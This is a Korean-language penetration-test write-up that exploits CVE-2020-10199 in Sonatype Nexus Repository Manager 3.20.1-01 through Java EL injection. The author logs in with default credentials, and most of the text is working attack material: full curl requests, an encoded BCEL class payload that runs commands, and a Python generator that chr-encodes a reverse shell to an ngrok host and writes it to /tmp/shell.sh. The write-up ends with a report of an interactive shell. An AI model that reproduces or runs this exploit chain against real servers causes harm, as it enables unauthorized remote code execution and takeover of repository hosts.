CVE-2020-10199

PT를 진행하던 중 대상 환경에 Nexus Repository Manager가 구축되어 있는 것을 만났고, 여러 시행착오를 겪은 끝에 결국 Shell을 획득할 수 있었다.

나중에 참고할 수 있도록 간단히 기록해 둔다.

대상 버전: Sonatype Nexus Repository Manager OSS 3.20.1-01

PoC로 Code Execution을 테스트하여 취약점이 존재함을 확인했다. (참고: 이때는 로그인된 세션 상태였다. 마침 대상 환경에서 default credential 문제를 발견했기 때문이다.)

poc_test

curl -i -s -k -X $'POST' \
    -H $'Host: vulnerable.host:8081' -H $'Content-Length: 211' -H $'Content-Type: application/json' \
    -b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
    --data-binary $'{\x0d\x0a    \"name\": \"internal\",\x0d\x0a    \"online\": true,\x0d\x0a    \"storage\": {\x0d\x0a        \"blobStoreName\": \"default\",\x0d\x0a        \"strictContentTypeValidation\": true\x0d\x0a    },\x0d\x0a    \"group\": {\x0d\x0a    \"memberNames\": [\"$\\\\A{7*7}\"]\x0d\x0a}\x0d\x0a}' \
    $'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'

인터넷에 돌아다니는 RCE PoC를 시도해 봤지만 성공하지 못했다.

출력에서 payload가 그대로 되돌아오는 것을 확인할 수 있었다.

https://github.com/jas502n/CVE-2020-10199

rce_attemp

하나씩 디버깅하면서 어디서 문제가 발생하는지 살펴봤다.

"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6]}"는 반응이 있는 것을 확인했지만, invoke()를 붙이면 실패했다.

rce_debug

계속 디버깅해 보니 getRuntime()은 접근할 수 없는 것처럼 보였다.

getRuntime_isAccessible

또한 setAccessiable(true)도 성공하지 못하는 듯했다. JVM에 리플렉션 작업을 막는 어떤 보안 설정이 있는 것으로 추측했다.

getRuntime_setAccessible

하지만 적어도 Java EL Code Execution 취약점이 실제로 존재한다는 것은 확인했다. 남은 것은 올바른 경로를 찾아 RCE에 성공하고 출력 메시지도 돌려받는 것뿐이었다.

https://blog.orange.tw/posts/2018-08-how-i-chained-4-bugs-features-into-rce-on-amazon/

https://stack.chaitin.com/techblog/detail/30

몇 가지 연구 자료를 찾아본 끝에 마침내 사용 가능한 BCEL RCE Payload를 발견했다.

rce_suc

curl -i -s -k -X $'POST' \
    -H $'Host: vulnerable.host:8081' -H $'Content-Length: 1943' -H $'Content-Type: application/json' \
    -b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
    --data-binary $'{\x0d\x0a    \"name\": \"internal\",\x0d\x0a    \"online\": true,\x0d\x0a    \"storage\": {\x0d\x0a        \"blobStoreName\": \"default\",\x0d\x0a        \"strictContentTypeValidation\": true\x0d\x0a    },\x0d\x0a    \"group\": {\x0d\x0a    \"memberNames\": [\"$\\\\A{\'\'.class.forName(\'com.sun.org.apache.bcel.internal.util.ClassLoader\').newInstance().loadClass(\'$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A\').newInstance().exec(\'id\')}\"]\x0d\x0a}\x0d\x0a}' \
    $'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'

Post Body:

{
    "name": "internal",
    "online": true,
    "storage": {
        "blobStoreName": "default",
        "strictContentTypeValidation": true
    },
    "group": {
    "memberNames": ["$\\A{''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('id')}"]}
}

Bytecode 부분은:

public String exec(String cmd) throws IOException {
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
    String line;
    while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
    }
    String res = stringBuilder.toString();
    return res;
}

이후 대상 호스트에 /bin/python이 존재한다는 것을 발견했다.

Reverse shell을 쉽게 만들기 위해 아래의 파이썬 스크립트를 작성했다.

목적은 ".exec('')" 안에는 작은따옴표, 큰따옴표, Unix 파이프라인, Unix 리다이렉션을 넣을 수 없다는 제한(JSON이 유효하지 않게 됨)을 우회하기 위해서다.

unix command 전체를 chr()로 인코딩한다.
그다음 /bin/python을 통해 unix command를 특정 파일(예: /tmp/shell.sh)에 작성한다.
그 후 chmod +x /tmp/shell.sh를 실행하면 shell script를 실행할 수 있다.

def to_chr_expr(s: str) -> str:
    """把字串轉成 chr(XX)+chr(YY)+... 的形式"""
    return '+'.join(f'chr({ord(c)})' for c in s)

def generate_write_payload(file_path: str, content: str) -> str:
    """
    產生一段 python payload，完全用 chr() 拼字串，不用引號，
    寫入指定檔案，內容是 content，結尾自動加換行
    """
    path_expr = to_chr_expr(file_path)
    content_expr = to_chr_expr(content + '\n')  # 自動換行
    mode_expr = 'chr(119)'  # 'w' 寫入模式

    payload = (
        f"python -c f=open({path_expr},mode={mode_expr});"
        f"f.write({content_expr});f.close()"
    )
    return payload

if __name__ == "__main__":
    path = "/tmp/shell.sh"
    long_content = "bash -i >& /dev/tcp/0.tcp.jp.ngrok.io/17590 0>&1"
    
    print(f'寫入路徑: {path}')
    print(f'寫入內容: {long_content}')
    
    payload = generate_write_payload(path, long_content)
    
    print(f'生成 payload: \n {payload}')

arb_write

생성된 payload를 .exec('')의 작은따옴표 안에 넣었다.

마지막으로 interactable한 reverse shell을 획득하는 데 성공했다.

got_shell

CVE-2020-10199

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